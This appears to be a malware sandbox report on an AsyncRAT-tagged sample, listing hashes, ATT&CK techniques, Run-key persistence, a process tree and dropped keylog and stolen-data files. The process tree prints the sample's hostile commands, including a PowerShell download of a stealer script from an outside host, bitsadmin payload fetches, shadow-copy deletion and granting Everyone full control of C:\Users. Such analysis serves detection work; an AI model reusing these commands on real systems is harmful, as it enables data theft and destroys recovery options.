asyncrat | 3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/04/2026, 15:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Size 43KB
Sample260428-snwpjsbt7t
SHA256 3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c
MD5 a7569d770b58d587ae31d9020986fcdd
SHA1 4488bfb0f2d88ee2663c75350a0cb401b9f61012
SHA512 d8665c1ded5568d98997005308f4d8aaead781ec22e444c1298e09c8029bd2fbb3c88f73b1b2e5bf833b9ffd84cb92c6c336cf2d1ca835fb834bb304d5a0fc6c
SSDEEP 768:hq7x+jpQyn2IRvkFYmnjY8h/WSvSRCfvuRbheuoVNtiQLvOD+:RQy+ymjYq/jqQ3uRbguIN1LvOD+
TLSH
T11E1339007BFC1A25F2FE4FBCA8B951444276F9679932C34E1CC4518E1AE27C1AA51FE2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery dropper execution asyncrat impact persistence ransomware rat stealer

Malware Config

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3152	powershell.exe
6008	powershell.exe

Download via BitsAdmin 1 TTPs 4 IoCs

dropper

BITS Jobs

T1197

pid	Process
2508	bitsadmin.exe
5616	bitsadmin.exe
3532	bitsadmin.exe
6080	bitsadmin.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4684	icacls.exe
5800	icacls.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3847269522-1618051987-1942096715-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
1128	reg.exe
5836	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3152	powershell.exe
3152	powershell.exe
6008	powershell.exe
6008	powershell.exe
6008	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
Token: SeIncreaseQuotaPrivilege	5108	WMIC.exe
Token: SeSecurityPrivilege	5108	WMIC.exe
Token: SeTakeOwnershipPrivilege	5108	WMIC.exe
Token: SeLoadDriverPrivilege	5108	WMIC.exe
Token: SeSystemProfilePrivilege	5108	WMIC.exe
Token: SeSystemtimePrivilege	5108	WMIC.exe
Token: SeProfSingleProcessPrivilege	5108	WMIC.exe
Token: SeIncBasePriorityPrivilege	5108	WMIC.exe
Token: SeCreatePagefilePrivilege	5108	WMIC.exe
Token: SeBackupPrivilege	5108	WMIC.exe
Token: SeRestorePrivilege	5108	WMIC.exe
Token: SeShutdownPrivilege	5108	WMIC.exe
Token: SeDebugPrivilege	5108	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5108	WMIC.exe
Token: SeRemoteShutdownPrivilege	5108	WMIC.exe
Token: SeUndockPrivilege	5108	WMIC.exe
Token: SeManageVolumePrivilege	5108	WMIC.exe
Token: 33	5108	WMIC.exe
Token: 34	5108	WMIC.exe
Token: 35	5108	WMIC.exe
Token: 36	5108	WMIC.exe
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeIncreaseQuotaPrivilege	1556	WMIC.exe
Token: SeSecurityPrivilege	1556	WMIC.exe
Token: SeTakeOwnershipPrivilege	1556	WMIC.exe
Token: SeLoadDriverPrivilege	1556	WMIC.exe
Token: SeSystemProfilePrivilege	1556	WMIC.exe
Token: SeSystemtimePrivilege	1556	WMIC.exe
Token: SeProfSingleProcessPrivilege	1556	WMIC.exe
Token: SeIncBasePriorityPrivilege	1556	WMIC.exe
Token: SeCreatePagefilePrivilege	1556	WMIC.exe
Token: SeBackupPrivilege	1556	WMIC.exe
Token: SeRestorePrivilege	1556	WMIC.exe
Token: SeShutdownPrivilege	1556	WMIC.exe
Token: SeDebugPrivilege	1556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1556	WMIC.exe
Token: SeRemoteShutdownPrivilege	1556	WMIC.exe
Token: SeUndockPrivilege	1556	WMIC.exe
Token: SeManageVolumePrivilege	1556	WMIC.exe
Token: 33	1556	WMIC.exe
Token: 34	1556	WMIC.exe
Token: 35	1556	WMIC.exe
Token: 36	1556	WMIC.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 2508	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	80
PID 1124 wrote to memory of 3064	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	82
PID 3064 wrote to memory of 3152	3064	cmd.exe	85
PID 1124 wrote to memory of 1760	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	87
PID 1124 wrote to memory of 3440	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	90
PID 1760 wrote to memory of 5108	1760	cmd.exe	92
PID 1124 wrote to memory of 5608	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	93
PID 2368 wrote to memory of 5616	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	95
PID 1124 wrote to memory of 796	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	97
PID 2368 wrote to memory of 2916	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	99
PID 5608 wrote to memory of 4684	5608	cmd.exe	101
PID 796 wrote to memory of 1128	796	cmd.exe	102
PID 1124 wrote to memory of 5080	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	104
PID 2368 wrote to memory of 6024	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	106
PID 2916 wrote to memory of 6008	2916	cmd.exe	107
PID 1124 wrote to memory of 236	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	109
PID 5080 wrote to memory of 3532	5080	cmd.exe	110
PID 2368 wrote to memory of 4276	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	112
PID 1124 wrote to memory of 2636	1124	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	114
PID 6024 wrote to memory of 1556	6024	cmd.exe	116
PID 2368 wrote to memory of 5832	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	117
PID 2368 wrote to memory of 5908	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	119
PID 5832 wrote to memory of 5800	5832	cmd.exe	121
PID 2368 wrote to memory of 2408	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	122
PID 2368 wrote to memory of 1692	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	124
PID 5908 wrote to memory of 5836	5908	cmd.exe	126
PID 2368 wrote to memory of 2736	2368	3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe	127
PID 2408 wrote to memory of 6080	2408	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
"C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2508
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5108
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5608
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:3532
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:236
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2636

C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
C:\Users\Admin\AppData\Local\Temp\3bae2e5e103f4cf404f34ed84a58e55bd44d9fb9ba6f9638b125c4dd81e9794c.exe
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:5616
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.ricaricacellulare.it.com/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6024
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1556
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4276
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5908
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "ricaricacellulare.it.com" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5836
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:6080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1692
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_rnvtf3js.nzy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rnvtf3js.nzy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

chrome_login_data.log

Path C:\Users\Admin\AppData\Local\Temp\chrome_login_data.log
Size 55B
SHA256 9e496c6d73bf152e2d73cad0f55269b17e0c3b57289aa85d3c188367f9accbae
MD5 8f6ac28852beca3e94e6edb887d4ffe9
SHA1 d5473c04e63ab0e6a0120003ff760f206c9a4e8d
SHA512 43da2ed0f112462e3779ca348d3a0502ad3a75663ec5ccc1b0fd8631ee1380d55e7df742708cdb58bd99250e16b83a0cbd2034ae8f57cfa0acb7b29808c6d8c9
TLSH
T14F90022226EF2805300014C6F2A4999B81541911197C519C6928713104CC5577D79541
MD5 SHA1 SHA512 TLSH

Submit Download

clipboard_stolen.log

Path C:\Users\Admin\AppData\Local\Temp\clipboard_stolen.log
Size 31B
SHA256 fa892fb1f8270044a19012b7fc3686c59bb72154d3b19cafb4f6d1de1e581908
MD5 e3e8d758e169a2d1e1e064439873ff93
SHA1 262f1a46460018466660c2b21b862c70f3f3b5b9
SHA512 915ca4104fcc22b8f98f6597fba2a02c3c5a15bec7c8fb7368b4bcebf520f21156965db1ff0da9d5240179c079429a77976a3f10c413992c08c70d014647bc5d
MD5 SHA1 SHA512

Submit Download

exfil_full_browser_data.zip

Path C:\Users\Admin\AppData\Local\Temp\exfil_full_browser_data.zip
Size 31B
SHA256 c36c3ccfe27df471aca7a85ed6e6d5352b036c71a84bbafbd7f9c31130c91655
MD5 9f4bc516f8620179301177b870968fb1
SHA1 ee6eb14b850efa93feffe52a639713112a120280
SHA512 762a063eef3408f5a6a9800b1f507544aef93339d6c3450d02547d1eec89ab54491eb68f4e49bd1011bea1ea3a94b21233463a07d58a132d2839763f049f0ad7
MD5 SHA1 SHA512

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 161B
SHA256 12ab440eb3c43b1f98db1e0788990ab34e4289aa04cdec60ab67b2d08a74d372
MD5 00496e0e2c6af9286cbd074282717c99
SHA1 c7884748489d62a0367d23d2392df0acd6387712
SHA512 fa3eb1ed15791d1e4195fc6e4c0b78fc569c0693c50454f4774954ae9134d5f5ae875acab892949c776442e71aab6b61b0dec03578ead04b6131349a93aefb5a
TLSH
T134C08C1100E001960308E2EEAC0FBB842A232020A3002D2CDCF8C04618ECC022F287CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 226B
SHA256 87adcaf0b4a12e28903a0d5af0a6da6702382f1e51b574e95a6e8b3a29863aeb
MD5 2e10a33bfe004f1927047e66a3238338
SHA1 2cb9ace35e06028f5d51bc5b10e46650cda65dc3
SHA512 b9e04cfd35ef117d4288ea9d1fc59851f7270424d8ab76e606591376e35416b4a3e954e5da40c36d282668aabf58f63f4c34a13167731132e1b0ac4c9a984fe0
TLSH
T196D0C91104E0519B0349E2EEEC5FBB882A27206567046D6DDDF8D04A6DFDC062F297CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 291B
SHA256 6779523913a35adf3eb31d7a5ac92aa25ae0cf189a63314a93c11885e2a295a1
MD5 b3d0012f9a1297aadd45974374dda269
SHA1 4763ec9f4ca656a271ce2b17fd36197e4fb2049a
SHA512 faf2433c2c6c552fb80e995b0f4c90ec682875993acf9f500fe7e8c527d7daf7c39536b684b50614775308a772fdfa8385c34a95f2c98eb49ee1d505bc744bf7
TLSH
T1DBD0671104E0519B0349E2EEEC5FBB882A27606567046D6DDDF8D04A6DFDD062F297CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 356B
SHA256 e2c63a24f145729bd38d6edabd1dc02d0bbff9bc9c9e4427897b5026e552235f
MD5 0fbd52154be585b3e73fc4fbd00a7f25
SHA1 0a4a86ae5109b4ebe507f49f8c9e122fade232d7
SHA512 3978f88e822776a2fa9be749c61057a5de995516847caa358467cd7d59f40ca922712900effef4a6376bfccff991872e5716fe3faad5a900cee9614beae67aeb
TLSH
T1A3E0261104E0519B0349E2EEEC5FBB882A27606577046D6DDDF8D04A6DFDD062F297CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 421B
SHA256 5512c48575e4aa64645566c850683a313581ed7ed8e910e8b7c7dbdb97a86ef8
MD5 e6e6d13ae82f4979527d1e68287848d8
SHA1 ed1a2c2a840082d0cefea0206f146287f391e87d
SHA512 bbc56c22cf3b724850fada64cddb6f0328ef4ae9f4db30f1c3df95eb9d758705251b0679fe331d84899e04d7227980a301bf47ebf0fd2dda117dc2888ab209aa
TLSH
T1DBE0E21104E0519B0349E2EEAC5FBB882A27606567046D6D99B8D04A6DBDD062B296CE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 486B
SHA256 be80c07cec0533a84c7f9402f67333da56f9465087d99e5d21f0d426560506d3
MD5 0050c94a501421ed56e105f6e9eb7bb6
SHA1 a449ceeea4c23d4b6e6b0868b26a895bf5422a0a
SHA512 4127ce3a8582e73b51dd893210508fd29482e6d84ba5181e1aff99a97edd0c311d3ca9e1fd85ead874efd66d6247a5e40239a98ec387b6e80610e936eb991c6c
TLSH
